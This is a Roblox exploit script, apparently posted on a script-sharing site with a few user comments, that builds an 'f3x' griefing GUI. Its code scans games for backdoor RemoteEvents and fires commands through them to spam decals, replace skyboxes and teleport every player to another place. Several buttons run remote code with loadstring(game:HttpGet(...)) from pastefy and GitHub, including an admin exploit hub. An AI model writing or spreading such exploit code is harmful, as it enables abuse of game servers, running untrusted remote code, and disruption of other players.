
Key RequiredUniversal

local player = game.Players.LocalPlayer
-- ScreenGui
local gui = Instance.new("ScreenGui")
gui.Name = "B00Pers940_f3x"
gui.ResetOnSpawn = false
gui.Parent = player:WaitForChild("PlayerGui")
-- Main Frame
local main = Instance.new("Frame")
main.Parent = gui
main.Size = UDim2.fromScale(0.38, 0.55)
main.AnchorPoint = Vector2.new(0.5, 0.5)
main.Position = UDim2.fromScale(0.5, 0.5)
main.BackgroundColor3 = Color3.fromRGB(18,18,18)
main.BorderSizePixel = 0
Instance.new("UICorner", main).CornerRadius = UDim.new(0,20)
-- Draggable GUI
local dragging = false
local dragInput
local dragStart
local startPos
main.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = main.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
main.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
game:GetService("UserInputService").InputChanged:Connect(function(input)
if dragging and (input == dragInput) then
local delta = input.Position - dragStart
main.Position = UDim2.new(
startPos.X.Scale,
startPos.X.Offset + delta.X,
startPos.Y.Scale,
startPos.Y.Offset + delta.Y
)
end
end)
-- Title (Made by bupers940)
local title = Instance.new("TextLabel", main)
title.Size = UDim2.fromScale(1,0.15)
title.BackgroundTransparency = 1
title.Text = "B00Pers940 f3x | Made by bupers940"
title.Font = Enum.Font.GothamBlack
title.TextScaled = true
title.TextColor3 = Color3.fromRGB(255,60,60)
title.TextStrokeTransparency = 0.6
-- UI Grid
local holder = Instance.new("Frame", main)
holder.Size = UDim2.fromScale(0.9,0.75)
holder.Position = UDim2.fromScale(0.05,0.2)
holder.BackgroundTransparency = 1
local grid = Instance.new("UIGridLayout", holder)
grid.CellSize = UDim2.fromScale(0.48,0.22)
grid.CellPadding = UDim2.fromScale(0.04,0.06)
-- Button function
local function makeButton(text, callback)
local b = Instance.new("TextButton")
b.Text = text
b.Font = Enum.Font.GothamBold
b.TextScaled = true
b.TextColor3 = Color3.fromRGB(255,255,255)
b.BackgroundColor3 = Color3.fromRGB(30,30,30)
b.BorderSizePixel = 0
Instance.new("UICorner", b).CornerRadius = UDim.new(0,14)
b.MouseEnter:Connect(function()
b.BackgroundColor3 = Color3.fromRGB(255,60,60)
end)
b.MouseLeave:Connect(function()
b.BackgroundColor3 = Color3.fromRGB(30,30,30)
end)
b.MouseButton1Click:Connect(callback)
return b
end
-- Universal Asset & Target
local ASSET_ID = 82331745105521
local ASSET_STRING = "rbxassetid://" .. ASSET_ID
local TARGET_PLACE_ID = 9324470763
local TeleportService = game:GetService("TeleportService")
-- Backdoor variables
local backdoorRemote = nil
local isBackdoored = false
-- Notification function
local function notify(text, color)
local notify = Instance.new("TextLabel", main)
notify.Size = UDim2.fromScale(0.8, 0.1)
notify.Position = UDim2.fromScale(0.1, 0.85)
notify.BackgroundColor3 = Color3.fromRGB(0,0,0)
notify.BackgroundTransparency = 0.5
notify.TextColor3 = color or Color3.new(1,1,1)
notify.TextScaled = true
notify.Font = Enum.Font.GothamBold
notify.Text = text
Instance.new("UICorner", notify).CornerRadius = UDim.new(0,12)
delay(5, function()
if notify and notify.Parent then
notify:Destroy()
end
end)
end
-- 🔍 Backdoor Finder Button
makeButton("🔍 Backdoor Finder", function()
notify("Scanning for backdoors...", Color3.new(1,1,0))
local suspicious_names = {
"remote","event","function","fire","invoke","admin","cmd","command","execute","run","load","script",
"backdoor","hdadmin","adonis","kohl","nexus","infinite","yield","mainremote","control","server",
"client","replicated","storage","workspace","require","loadstring","getfenv"
}
backdoorRemote = nil
isBackdoored = false
local containers = {game.ReplicatedStorage, workspace, game.ReplicatedFirst, game.StarterGui}
pcall(function() table.insert(containers, game.ServerStorage) end)
for _, container in ipairs(containers) do
for _, obj in ipairs(container:GetDescendants()) do
if obj:IsA("RemoteEvent") or obj:IsA("RemoteFunction") then
local name_lower = obj.Name:lower()
for _, sus in ipairs(suspicious_names) do
if string.find(name_lower, sus) then
backdoorRemote = obj
isBackdoored = true
break
end
end
end
if isBackdoored then break end
end
if isBackdoored then break end
end
if isBackdoored then
notify("BACKDOOR FOUND! All features now server-side (FE bypass)", Color3.fromRGB(0,255,0))
print("Backdoor found: " .. backdoorRemote:GetFullName())
else
notify("No backdoor found", Color3.fromRGB(255,100,100))
end
end).Parent = holder
-- 🎵 Music Button (100+ random songs)
-- (same massive list as before...)
-- ❄️ Polaria
makeButton("❄️ Polaria", function()
pcall(function()
loadstring(game:HttpGet("https://pastefy.app/JmaD2ivk/raw"))()
end)
notify("Polaria FE Hub loaded! | Made by bupers940", Color3.fromRGB(120,180,255))
end).Parent = holder
-- ⚔️ FE Swords (NEW - Classic FE Sword Pack)
makeButton("⚔️ FE Swords", function()
pcall(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/RegularVynixu/Vynixius/main/Loader.lua"))() -- Popular FE Sword pack (includes Classic Sword, Venomshank, Ghostwalker, etc. - visible to everyone)
end)
notify("FE Swords loaded! (Classic, Venom, Ghostwalker, etc.)", Color3.fromRGB(255,215,0))
end).Parent = holder
-- 🧰 FE Script (NEW - Infinite Yield FE Admin)
makeButton("🧰 FE Script", function()
pcall(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source"))()
end)
notify("Infinite Yield FE Admin loaded!", Color3.fromRGB(0,255,255))
end).Parent = holder
-- 🖼️ Decal Spam
makeButton("🖼️ Decal Spam", function()
if isBackdoored and backdoorRemote then
pcall(function()
if backdoorRemote:IsA("RemoteEvent") then
backdoorRemote:FireServer("decals", ASSET_STRING)
backdoorRemote:FireServer("spamdecals", ASSET_STRING)
backdoorRemote:FireServer("decalspam", ASSET_STRING)
backdoorRemote:FireServer(ASSET_STRING)
elseif backdoorRemote:IsA("RemoteFunction") then
backdoorRemote:InvokeServer("decals", ASSET_STRING)
end
end)
return
end
for _, part in ipairs(workspace:GetDescendants()) do
if part:IsA("BasePart") then
local decal = Instance.new("Decal")
decal.Texture = ASSET_STRING
decal.Face = Enum.NormalId.Front
decal.Parent = part
local surface = Instance.new("SurfaceGui")
local img = Instance.new("ImageLabel")
img.Image = ASSET_STRING
img.BackgroundTransparency = 1
img.Size = UDim2.fromScale(1,1)
img.Parent = surface
surface.Face = Enum.NormalId.Top
surface.Parent = part
end
end
end).Parent = holder
makeButton("😱 Jumpscare", function()
local scareGui = Instance.new("ScreenGui", player.PlayerGui)
local img = Instance.new("ImageLabel", scareGui)
img.Size = UDim2.fromScale(1,1)
img.BackgroundColor3 = Color3.new(0,0,0)
img.Image = ASSET_STRING
local sound = Instance.new("Sound", scareGui)
sound.SoundId = ASSET_STRING
sound.Volume = 10
sound:Play()
wait(3)
scareGui:Destroy()
end).Parent = holder
makeButton("🌌 Tp All to Realm", function()
local lighting = game.Lighting
lighting.Brightness = 0
lighting.GlobalShadows = true
local sky = Instance.new("Sky", lighting)
sky.SkyboxBk = ASSET_STRING sky.SkyboxDn = ASSET_STRING
sky.SkyboxFt = ASSET_STRING sky.SkyboxLf = ASSET_STRING
sky.SkyboxRt = ASSET_STRING sky.SkyboxUp = ASSET_STRING
if isBackdoored and backdoorRemote then
pcall(function()
if backdoorRemote:IsA("RemoteEvent") then
backdoorRemote:FireServer("teleportall", TARGET_PLACE_ID)
backdoorRemote:FireServer("tpall", TARGET_PLACE_ID)
backdoorRemote:FireServer("teleport", TARGET_PLACE_ID)
end
end)
print("TP All via backdoor!")
return
end
local players = game.Players:GetPlayers()
if #players > 1 then
pcall(function()
TeleportService:TeleportPartyAsync(TARGET_PLACE_ID, players)
end)
else
TeleportService:Teleport(TARGET_PLACE_ID, player)
end
end).Parent = holder
makeButton("☁️ Skybox", function()
if isBackdoored and backdoorRemote then
pcall(function()
if backdoorRemote:IsA("RemoteEvent") then
backdoorRemote:FireServer("skybox", ASSET_STRING)
end
end)
end
local sky = Instance.new("Sky", game.Lighting)
sky.SkyboxBk = ASSET_STRING sky.SkyboxDn = ASSET_STRING
sky.SkyboxFt = ASSET_STRING sky.SkyboxLf = ASSET_STRING
sky.SkyboxRt = ASSET_STRING sky.SkyboxUp = ASSET_STRING
end).Parent = holder
-- Add more buttons if you want...



W
@WFSBRO ty
Holy ai
@N0wkidd bro stop it
MAIN fRAME LOCAL gUI sCREEN GUI sOOO hACKKK